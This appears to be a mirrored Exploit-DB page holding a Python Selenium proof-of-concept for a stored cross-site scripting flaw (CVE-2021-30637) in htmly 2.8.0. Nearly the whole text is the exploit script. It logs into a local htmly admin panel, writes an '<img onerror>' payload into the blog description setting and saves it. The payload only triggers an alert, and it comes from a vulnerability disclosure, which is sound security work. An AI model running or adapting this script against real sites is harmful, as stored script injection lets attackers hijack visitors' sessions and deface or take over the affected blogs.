htmly 2.8.0 – ‘description’ Stored Cross-Site Scripting (XSS) - 体验盒子

作者： nu11secur1ty

日期： 2021-04-15

类别：

webapps

平台：

multiple

来源：https://www.exploit-db.com/exploits/49772/

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# Exploit Title: htmly 2.8.0 - 'description' Stored Cross-Site Scripting (XSS)

# Authors: @nu11secur1ty & G.Dzhankushev

# Date: 04.15.2021

# Vendor Homepage: https://www.htmly.com/

# Software Link: https://github.com/danpros/htmly

# CVE: CVE-2021-30637

#!/usr/bin/python3

from selenium import webdriver

from selenium.webdriver.common.by import By

from selenium.webdriver.support.ui import WebDriverWait

from selenium.webdriver.support import expected_conditions as EC

import time

#enter the link to the website you want to automate login.

website_link="http://localhost/htmly/login"

#enter your login username

username="nu11secur1ty"

#enter your login password

password="password"

#enter the element for username input field

element_for_username="user"

#enter the element for password input field

element_for_password="password"

#enter the element for submit button

element_for_submit="submit"

#browser = webdriver.Safari() #for macOS users[for others use chrome vis chromedriver]

browser = webdriver.Chrome() #uncomment this line,for chrome users

#browser = webdriver.Firefox() #uncomment this line,for chrome users

browser.get((website_link))

try:

username_element = browser.find_element_by_name(element_for_username)

username_element.send_keys(username)

password_element= browser.find_element_by_name(element_for_password)

password_element.send_keys(password)

signInButton = browser.find_element_by_name(element_for_submit)

signInButton.click()

# Exploit .ini

browser.get(("http://localhost/htmly/admin/config"))

browser.execute_script("document.querySelector('[name=\"-config-blog.description\"]').innerText = '</span><img src=1 onerror=alert(1) /><span>'")

time.sleep(3)

browser.execute_script("document.querySelector('.btn.btn-primary').click()")

print("payload is deployed...\n")

except Exception:

#### This exception occurs if the element are not found in the webpage.

print("Some error occured :(")